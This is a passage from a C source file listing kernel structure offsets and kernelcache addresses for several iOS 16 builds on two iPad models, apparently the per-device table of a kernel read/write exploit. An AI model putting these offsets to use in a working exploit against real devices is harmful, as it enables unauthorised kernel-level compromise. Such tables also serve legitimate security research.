.task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,7\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,7\",\n      